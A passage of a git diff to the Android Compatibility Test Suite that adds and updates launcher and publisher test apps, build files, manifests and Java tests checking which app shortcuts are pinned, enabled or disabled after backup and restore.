- // We run the two focus tests fullscreen only because switching to the
- // docked stack will strip away focus from the task anyway.
- public void testDialogReceivesFocus() throws Exception {
- doFullscreenTest("MatchParent",
- (WindowState parent, WindowState dialog) -> {
- assertEquals(dialog.getName(), mAmWmState.getWmState().getFocusedWindow());
- });
- }
-
- public void testNoFocusDialog() throws Exception {
- doFullscreenTest("NoFocus",
- (WindowState parent, WindowState dialog) -> {
- assertEquals(parent.getName(), mAmWmState.getWmState().getFocusedWindow());
- });
- }
-
- public void testMarginsArePercentagesOfContentFrame() throws Exception {
- float horizontalMargin = .25f;
- float verticalMargin = .35f;
- doParentChildTest("WithMargins",
- (WindowState parent, WindowState dialog) -> {
- Rectangle frame = parent.getContentFrame();
- Rectangle expectedFrame = new Rectangle(
- (int)(horizontalMargin*frame.width + frame.x),
- (int)(verticalMargin*frame.height + frame.y),
- explicitDimension,
- explicitDimension);
- assertEquals(expectedFrame, dialog.getFrame());
- });
- }
-
- public void testDialogPlacedAboveParent() throws Exception {
- doParentChildTest("MatchParent",
- (WindowState parent, WindowState dialog) -> {
- // Not only should the dialog be higher, but it should be
- // leave multiple layers of space inbetween for DimLayers,
- // etc...
- assertTrue(dialog.getLayer() - parent.getLayer() >= 5);
- });
- }
-}
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher1/src/android/content/pm/cts/shortcut/backup/launcher1/ShortcutManagerPostBackupTest.java b/hostsidetests/shortcuts/deviceside/backup/launcher1/src/android/content/pm/cts/shortcut/backup/launcher1/ShortcutManagerPostBackupTest.java
index b82bb1d..e76cf28 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher1/src/android/content/pm/cts/shortcut/backup/launcher1/ShortcutManagerPostBackupTest.java
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher1/src/android/content/pm/cts/shortcut/backup/launcher1/ShortcutManagerPostBackupTest.java
@@ -17,6 +17,7 @@
import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.assertWith;
+import android.content.pm.ShortcutInfo;
import android.content.pm.cts.shortcut.device.common.ShortcutManagerDeviceTestBase;
public class ShortcutManagerPostBackupTest extends ShortcutManagerDeviceTestBase {
@@ -57,9 +58,22 @@
.selectByIds("ms1")
.areAllNotPinned();
+ // Package3 doesn't support backup&restore.
+ // However, the manifest-shortcuts will be republished anyway, so they're still pinned.
+ // The dynamic shortcuts can't be restored, but we'll still restore them as disabled
+ // shortcuts that are not visible to the publisher.
assertWith(getPackageShortcuts(ShortcutManagerPreBackupTest.PUBLISHER3_PKG))
- .haveIds("ms1", "ms2")
+ .haveIds("ms1", "ms2", "s1", "s2")
+ .areAllPinned()
+
+ .selectByIds("ms1", "ms2")
.areAllEnabled()
- .areAllNotPinned(); // P3 doesn't get backed up, so no longer pinned.
+ .areAllWithDisabledReason(ShortcutInfo.DISABLED_REASON_NOT_DISABLED)
+
+ .revertToOriginalList()
+ .selectByIds("s1", "s2")
+ .areAllDisabled()
+ .areAllWithDisabledReason(ShortcutInfo.DISABLED_REASON_BACKUP_NOT_SUPPORTED)
+ ;
}
}
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher2/src/android/content/pm/cts/shortcut/backup/launcher2/ShortcutManagerPostBackupTest.java b/hostsidetests/shortcuts/deviceside/backup/launcher2/src/android/content/pm/cts/shortcut/backup/launcher2/ShortcutManagerPostBackupTest.java
index 75c79c5..115c476 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher2/src/android/content/pm/cts/shortcut/backup/launcher2/ShortcutManagerPostBackupTest.java
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher2/src/android/content/pm/cts/shortcut/backup/launcher2/ShortcutManagerPostBackupTest.java
@@ -17,6 +17,7 @@
import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.assertWith;
+import android.content.pm.ShortcutInfo;
import android.content.pm.cts.shortcut.device.common.ShortcutManagerDeviceTestBase;
public class ShortcutManagerPostBackupTest extends ShortcutManagerDeviceTestBase {
@@ -51,8 +52,22 @@
.selectByIds("ms2")
.areAllNotPinned();
+ // Package3 doesn't support backup&restore.
+ // However, the manifest-shortcuts will be republished anyway, so they're still pinned.
+ // The dynamic shortcuts can't be restored, but we'll still restore them as disabled
+ // shortcuts that are not visible to the publisher.
assertWith(getPackageShortcuts(ShortcutManagerPreBackupTest.PUBLISHER3_PKG))
- .haveIds("ms1", "ms2")
- .areAllEnabled();
+ .haveIds("ms1", "ms2", "s2", "s3")
+ .areAllPinned()
+
+ .selectByIds("ms1", "ms2")
+ .areAllEnabled()
+ .areAllWithDisabledReason(ShortcutInfo.DISABLED_REASON_NOT_DISABLED)
+
+ .revertToOriginalList()
+ .selectByIds("s2", "s3")
+ .areAllDisabled()
+ .areAllWithDisabledReason(ShortcutInfo.DISABLED_REASON_BACKUP_NOT_SUPPORTED)
+ ;
}
}
diff --git a/tests/app/appSdk25/Android.mk b/hostsidetests/shortcuts/deviceside/backup/launcher4new/Android.mk
similarity index 63%
copy from tests/app/appSdk25/Android.mk
copy to hostsidetests/shortcuts/deviceside/backup/launcher4new/Android.mk
index 36c6d07..856ff1f 100644
--- a/tests/app/appSdk25/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher4new/Android.mk
@@ -16,20 +16,27 @@
include $(CLEAR_VARS)
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util \
-
-LOCAL_SRC_FILES := \
- $(call all-java-files-under, src) \
-
-LOCAL_SDK_VERSION := 25
-
# Tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_PACKAGE_NAME := CtsAppTestSdk25
+LOCAL_PACKAGE_NAME := CtsShortcutBackupLauncher4new
-include $(BUILD_CTS_SUPPORT_PACKAGE)
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../launcher4old/src) \
+ $(call all-java-files-under, ../../common/src)
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ android-support-test \
+ android-support-v4 \
+ mockito-target-minus-junit4 \
+ compatibility-device-util \
+ ctstestrunner \
+ ub-uiautomator \
+ ShortcutManagerTestUtils
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/backup/launcher4new/AndroidManifest.xml
old mode 100755
new mode 100644
similarity index 61%
copy from hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/AndroidManifest.xml
copy to hostsidetests/shortcuts/deviceside/backup/launcher4new/AndroidManifest.xml
index 9c6a6ad..4d21e50
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/AndroidManifest.xml
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher4new/AndroidManifest.xml
@@ -16,18 +16,24 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- xmlns:androidprv="http://schemas.android.com/apk/prv/res/android"
- package="android.server.alertwindowapp">
- <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+ package="android.content.pm.cts.shortcut.backup.launcher4"
+ android:versionCode="11">
- <application android:label="CtsAlertWindow">
- <activity android:name=".AlertWindowTestActivity"
- android:exported="true" android:windowSoftInputMode="stateAlwaysVisible">
+ <application>
+ <activity android:name="MainActivity" android:exported="true" >
<intent-filter>
- <action android:name="android.intent.action.MAIN"/>
- <category android:name="android.intent.category.LAUNCHER"/>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.DEFAULT" />
+ <category android:name="android.intent.category.HOME" />
+ </intent-filter>
+ <intent-filter>
+ <action android:name="android.content.pm.action.CONFIRM_PIN_SHORTCUT" />
</intent-filter>
</activity>
</application>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.content.pm.cts.shortcut.backup.launcher4" />
</manifest>
diff --git a/tests/app/appSdk25/Android.mk b/hostsidetests/shortcuts/deviceside/backup/launcher4old/Android.mk
similarity index 64%
copy from tests/app/appSdk25/Android.mk
copy to hostsidetests/shortcuts/deviceside/backup/launcher4old/Android.mk
index 36c6d07..0147dd6 100644
--- a/tests/app/appSdk25/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher4old/Android.mk
@@ -16,20 +16,27 @@
include $(CLEAR_VARS)
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util \
-
-LOCAL_SRC_FILES := \
- $(call all-java-files-under, src) \
-
-LOCAL_SDK_VERSION := 25
-
# Tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_PACKAGE_NAME := CtsAppTestSdk25
+LOCAL_PACKAGE_NAME := CtsShortcutBackupLauncher4old
-include $(BUILD_CTS_SUPPORT_PACKAGE)
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src) \
+ $(call all-java-files-under, ../../common/src)
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ android-support-test \
+ android-support-v4 \
+ mockito-target-minus-junit4 \
+ compatibility-device-util \
+ ctstestrunner \
+ ub-uiautomator \
+ ShortcutManagerTestUtils
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/backup/launcher4old/AndroidManifest.xml
old mode 100755
new mode 100644
similarity index 61%
copy from hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/AndroidManifest.xml
copy to hostsidetests/shortcuts/deviceside/backup/launcher4old/AndroidManifest.xml
index 9c6a6ad..cded495
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/AndroidManifest.xml
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher4old/AndroidManifest.xml
@@ -16,18 +16,24 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- xmlns:androidprv="http://schemas.android.com/apk/prv/res/android"
- package="android.server.alertwindowapp">
- <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+ package="android.content.pm.cts.shortcut.backup.launcher4"
+ android:versionCode="10">
- <application android:label="CtsAlertWindow">
- <activity android:name=".AlertWindowTestActivity"
- android:exported="true" android:windowSoftInputMode="stateAlwaysVisible">
+ <application>
+ <activity android:name="MainActivity" android:exported="true" >
<intent-filter>
- <action android:name="android.intent.action.MAIN"/>
- <category android:name="android.intent.category.LAUNCHER"/>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.DEFAULT" />
+ <category android:name="android.intent.category.HOME" />
+ </intent-filter>
+ <intent-filter>
+ <action android:name="android.content.pm.action.CONFIRM_PIN_SHORTCUT" />
</intent-filter>
</activity>
</application>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.content.pm.cts.shortcut.backup.launcher4" />
</manifest>
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher4old/src/android/content/pm/cts/shortcut/backup/launcher4/MainActivity.java b/hostsidetests/shortcuts/deviceside/backup/launcher4old/src/android/content/pm/cts/shortcut/backup/launcher4/MainActivity.java
new file mode 100644
index 0000000..33215d6
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher4old/src/android/content/pm/cts/shortcut/backup/launcher4/MainActivity.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.content.pm.cts.shortcut.backup.launcher4;
+
+import android.app.Activity;
+import android.content.pm.LauncherApps;
+import android.os.Bundle;
+import android.os.PersistableBundle;
+
+public class MainActivity extends Activity {
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ // Just accept all requests.
+ if (LauncherApps.ACTION_CONFIRM_PIN_SHORTCUT.equals(getIntent().getAction())) {
+ LauncherApps.PinItemRequest request = getSystemService(LauncherApps.class)
+ .getPinItemRequest(getIntent());
+ final PersistableBundle extras = request.getShortcutInfo().getExtras();
+ if (extras != null && extras.getBoolean("acceptit")) {
+ request.accept();
+ }
+ }
+ finish();
+ }
+}
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher4old/src/android/content/pm/cts/shortcut/backup/launcher4/ShortcutManagerPostBackupTest.java b/hostsidetests/shortcuts/deviceside/backup/launcher4old/src/android/content/pm/cts/shortcut/backup/launcher4/ShortcutManagerPostBackupTest.java
new file mode 100644
index 0000000..f9ecfef
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher4old/src/android/content/pm/cts/shortcut/backup/launcher4/ShortcutManagerPostBackupTest.java
@@ -0,0 +1,181 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.content.pm.cts.shortcut.backup.launcher4;
+
+import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.assertWith;
+
+import android.content.pm.ShortcutInfo;
+import android.content.pm.cts.shortcut.device.common.ShortcutManagerDeviceTestBase;
+
+public class ShortcutManagerPostBackupTest extends ShortcutManagerDeviceTestBase {
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+
+ setAsDefaultLauncher(MainActivity.class);
+ }
+
+ public void testRestoredOnOldVersion() {
+ assertWith(getPackageShortcuts(ShortcutManagerPreBackupTest.PUBLISHER4_PKG))
+ .haveIds("ms1", "ms2", "s1", "s2")
+ .areAllPinned()
+
+ .selectByIds("ms1", "ms2")
+ .areAllEnabled()
+ .areAllManifest()
+
+ // s1 is re-published, so it's enabled and dynamic.
+ .revertToOriginalList()
+ .selectByIds("s1")
+ .areAllEnabled()
+ .areAllDynamic()
+ .forAllShortcuts(si -> {
+ assertEquals("shortlabel1_new_one", si.getShortLabel());
+
+ // The app re-published the shortcut, not updated, so the fields that existed
+ // in the original shortcut is gone now.
+ assertNull(si.getExtras());
+ })
+
+ .revertToOriginalList()
+ .selectByIds("s2")
+ .areAllDisabled()
+ .areAllWithDisabledReason(ShortcutInfo.DISABLED_REASON_VERSION_LOWER)
+ .forAllShortcuts(si -> {
+ // Note the label shouldn't be updated with the updateShortcuts() call.
+ assertEquals("shortlabel2", si.getShortLabel());
+ })
+ .areAllNotDynamic();
+ }
+
+ public void testRestoredOnNewVersion() {
+ assertWith(getPackageShortcuts(ShortcutManagerPreBackupTest.PUBLISHER4_PKG))
+ .haveIds("ms1", "ms2", "s1", "s2")
+ .areAllPinned()
+
+ .selectByIds("ms1", "ms2")
+ .areAllEnabled()
+ .areAllManifest()
+
+ // s1 is re-published, so it's enabled and dynamic.
+ .revertToOriginalList()
+ .selectByIds("s1", "s2")
+ .areAllEnabled()
+
+ .revertToOriginalList()
+ .selectByIds("s1")
+ .areAllDynamic()
+ .forAllShortcuts(si -> {
+ assertEquals("shortlabel1_new_one", si.getShortLabel());
+
+ // The app re-published the shortcut, not updated, so the fields that existed
+ // in the original shortcut is gone now.
+ assertNull(si.getExtras());
+ })
+
+ .revertToOriginalList()
+ .selectByIds("s2")
+ .areAllNotDynamic()
+ .forAllShortcuts(si -> {
+ assertEquals("shortlabel2_updated", si.getShortLabel());
+ })
+ ;
+ }
+
+
+ public void testRestoreWrongKey() {
+ assertWith(getPackageShortcuts(ShortcutManagerPreBackupTest.PUBLISHER4_PKG))
+ .haveIds("ms1", "ms2", "s1", "s2")
+ .areAllPinned()
+
+ .selectByIds("ms1", "ms2")
+ .areAllEnabled()
+ .areAllManifest()
+
+ // s1 is re-published, so it's enabled and dynamic.
+ .revertToOriginalList()
+ .selectByIds("s1")
+ .areAllEnabled()
+ .areAllDynamic()
+ .forAllShortcuts(si -> {
+ assertEquals("shortlabel1_new_one", si.getShortLabel());
+
+ // The app re-published the shortcut, not updated, so the fields that existed
+ // in the original shortcut is gone now.
+ assertNull(si.getExtras());
+ })
+
+
+ // updateShortcuts() shouldn't work on it, so it keeps the original label.
+ .revertToOriginalList()
+ .selectByIds("s2")
+ .areAllNotDynamic()
+ .forAllShortcuts(si -> {
+ assertEquals("shortlabel2", si.getShortLabel());
+ })
+ ;
+ }
+
+ public void testRestoreNoManifestOnOldVersion() {
+ assertWith(getPackageShortcuts(ShortcutManagerPreBackupTest.PUBLISHER4_PKG))
+ .haveIds("ms1", "ms2", "s1", "s2")
+ .areAllPinned()
+
+ .selectByIds("s1", "ms1")
+ .areAllEnabled()
+ .areAllDynamic()
+ .areAllMutable()
+
+ .revertToOriginalList()
+ .selectByIds("s2", "ms2")
+ .areAllDisabled();
+ }
+
+ public void testRestoreNoManifestOnNewVersion() {
+ assertWith(getPackageShortcuts(ShortcutManagerPreBackupTest.PUBLISHER4_PKG))
+ .haveIds("ms1", "ms2", "s1", "s2")
+ .areAllPinned()
+
+ .selectByIds("ms1", "ms2")
+ .areAllDisabled()
+ .areAllImmutable()
+ .areAllWithDisabledReason(ShortcutInfo.DISABLED_REASON_APP_CHANGED)
+
+ .revertToOriginalList()
+ .selectByIds("s1", "s2")
+ .areAllEnabled()
+ .areAllMutable();
+ }
+
+ public void testInvisibleIgnored() {
+ assertWith(getPackageShortcuts(ShortcutManagerPreBackupTest.PUBLISHER4_PKG))
+ .haveIds("ms1", "ms2", "s1", "s2")
+
+ .selectByIds("ms1", "s1", "s2")
+ .areAllPinned()
+ .areAllDisabled()
+ .areAllWithDisabledReason(ShortcutInfo.DISABLED_REASON_VERSION_LOWER)
+ .areAllNotDynamic()
+ .areAllNotManifest()
+
+ .revertToOriginalList()
+ .selectByIds("ms2")
+ .areAllEnabled()
+ .areAllPinned()
+ .areAllNotDynamic()
+ .areAllNotManifest();
+ }
+}
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher4old/src/android/content/pm/cts/shortcut/backup/launcher4/ShortcutManagerPreBackupTest.java b/hostsidetests/shortcuts/deviceside/backup/launcher4old/src/android/content/pm/cts/shortcut/backup/launcher4/ShortcutManagerPreBackupTest.java
new file mode 100644
index 0000000..8d99255
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher4old/src/android/content/pm/cts/shortcut/backup/launcher4/ShortcutManagerPreBackupTest.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.content.pm.cts.shortcut.backup.launcher4;
+
+import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.list;
+
+import android.content.pm.cts.shortcut.device.common.ShortcutManagerDeviceTestBase;
+import android.test.suitebuilder.annotation.SmallTest;
+
+@SmallTest
+public class ShortcutManagerPreBackupTest extends ShortcutManagerDeviceTestBase {
+ static final String PUBLISHER4_PKG =
+ "android.content.pm.cts.shortcut.backup.publisher4";
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+
+ setAsDefaultLauncher(MainActivity.class);
+ }
+
+ public void testPreBackup() {
+ // Pin all the shortcuts.
+ getLauncherApps().pinShortcuts(PUBLISHER4_PKG, list("s1", "s2", "ms1", "ms2"),
+ getUserHandle());
+ }
+}
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher3/src/android/content/pm/cts/shortcut/backup/publisher3/ShortcutManagerPostBackupTest.java b/hostsidetests/shortcuts/deviceside/backup/publisher3/src/android/content/pm/cts/shortcut/backup/publisher3/ShortcutManagerPostBackupTest.java
index 870dab9..33c8f82 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher3/src/android/content/pm/cts/shortcut/backup/publisher3/ShortcutManagerPostBackupTest.java
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher3/src/android/content/pm/cts/shortcut/backup/publisher3/ShortcutManagerPostBackupTest.java
@@ -21,16 +21,17 @@
public class ShortcutManagerPostBackupTest extends ShortcutManagerDeviceTestBase {
public void testWithUninstall() {
+ // backup = false, so dynamic shouldn't be restored.
assertWith(getManager().getDynamicShortcuts())
.isEmpty();
- // backup = false, so no pinned shortcuts should be restored.
+ // But manifest shortcuts will be restored anyway, so they'll restored as pinned.
assertWith(getManager().getPinnedShortcuts())
- .isEmpty();
+ .haveIds("ms1", "ms2");
assertWith(getManager().getManifestShortcuts())
.haveIds("ms1", "ms2")
- .areAllNotPinned();
+ .areAllPinned();
}
public void testWithNoUninstall() {
@@ -39,8 +40,8 @@
.haveIds("s1", "s2", "s3")
.areAllNotPinned();
+ // Manifest shortcuts should still be published.
assertWith(getManager().getManifestShortcuts())
- .haveIds("ms1", "ms2")
- .areAllNotPinned();
+ .haveIds("ms1", "ms2");
}
}
diff --git a/tests/app/appSdk25/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher4new/Android.mk
similarity index 60%
copy from tests/app/appSdk25/Android.mk
copy to hostsidetests/shortcuts/deviceside/backup/publisher4new/Android.mk
index 36c6d07..ace1afe 100644
--- a/tests/app/appSdk25/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new/Android.mk
@@ -16,20 +16,29 @@
include $(CLEAR_VARS)
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util \
-
-LOCAL_SRC_FILES := \
- $(call all-java-files-under, src) \
-
-LOCAL_SDK_VERSION := 25
-
# Tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_PACKAGE_NAME := CtsAppTestSdk25
+LOCAL_PACKAGE_NAME := CtsShortcutBackupPublisher4new
-include $(BUILD_CTS_SUPPORT_PACKAGE)
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../publisher4old/src) \
+ $(call all-java-files-under, ../../common/src)
+
+LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../publisher4old/res
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ android-support-test \
+ android-support-v4 \
+ mockito-target-minus-junit4 \
+ compatibility-device-util \
+ ctstestrunner \
+ ub-uiautomator \
+ ShortcutManagerTestUtils
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/backup/publisher4new/AndroidManifest.xml
new file mode 100644
index 0000000..dae61ca
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new/AndroidManifest.xml
@@ -0,0 +1,45 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.content.pm.cts.shortcut.backup.publisher4"
+ android:versionCode="11">
+
+ <application>
+ <activity android:name="MainActivity" android:exported="true" >
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.DEFAULT" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ <meta-data android:name="android.app.shortcuts" android:resource="@xml/shortcuts"/>
+ </activity>
+ <activity-alias android:name="MainActivity2"
+ android:targetActivity="android.content.pm.cts.shortcut.backup.publisher4.MainActivity"
+ android:exported="true" >
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.DEFAULT" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity-alias>
+ </application>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.content.pm.cts.shortcut.backup.publisher4" />
+</manifest>
+
diff --git a/tests/app/appSdk25/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nobackup/Android.mk
similarity index 60%
copy from tests/app/appSdk25/Android.mk
copy to hostsidetests/shortcuts/deviceside/backup/publisher4new_nobackup/Android.mk
index 36c6d07..75a025b 100644
--- a/tests/app/appSdk25/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nobackup/Android.mk
@@ -16,20 +16,29 @@
include $(CLEAR_VARS)
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util \
-
-LOCAL_SRC_FILES := \
- $(call all-java-files-under, src) \
-
-LOCAL_SDK_VERSION := 25
-
# Tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_PACKAGE_NAME := CtsAppTestSdk25
+LOCAL_PACKAGE_NAME := CtsShortcutBackupPublisher4new_nobackup
-include $(BUILD_CTS_SUPPORT_PACKAGE)
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../publisher4old/src) \
+ $(call all-java-files-under, ../../common/src)
+
+LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../publisher4old/res
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ android-support-test \
+ android-support-v4 \
+ mockito-target-minus-junit4 \
+ compatibility-device-util \
+ ctstestrunner \
+ ub-uiautomator \
+ ShortcutManagerTestUtils
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new_nobackup/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nobackup/AndroidManifest.xml
new file mode 100644
index 0000000..33e5121
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nobackup/AndroidManifest.xml
@@ -0,0 +1,45 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.content.pm.cts.shortcut.backup.publisher4"
+ android:versionCode="11">
+
+ <application android:allowBackup="false">
+ <activity android:name="MainActivity" android:exported="true" >
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.DEFAULT" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ <meta-data android:name="android.app.shortcuts" android:resource="@xml/shortcuts"/>
+ </activity>
+ <activity-alias android:name="MainActivity2"
+ android:targetActivity="android.content.pm.cts.shortcut.backup.publisher4.MainActivity"
+ android:exported="true" >
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.DEFAULT" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity-alias>
+ </application>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.content.pm.cts.shortcut.backup.publisher4" />
+</manifest>
+
diff --git a/tests/app/appSdk25/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nomanifest/Android.mk
similarity index 60%
copy from tests/app/appSdk25/Android.mk
copy to hostsidetests/shortcuts/deviceside/backup/publisher4new_nomanifest/Android.mk
index 36c6d07..4a712f7 100644
--- a/tests/app/appSdk25/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nomanifest/Android.mk
@@ -16,20 +16,29 @@
include $(CLEAR_VARS)
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := tests
-
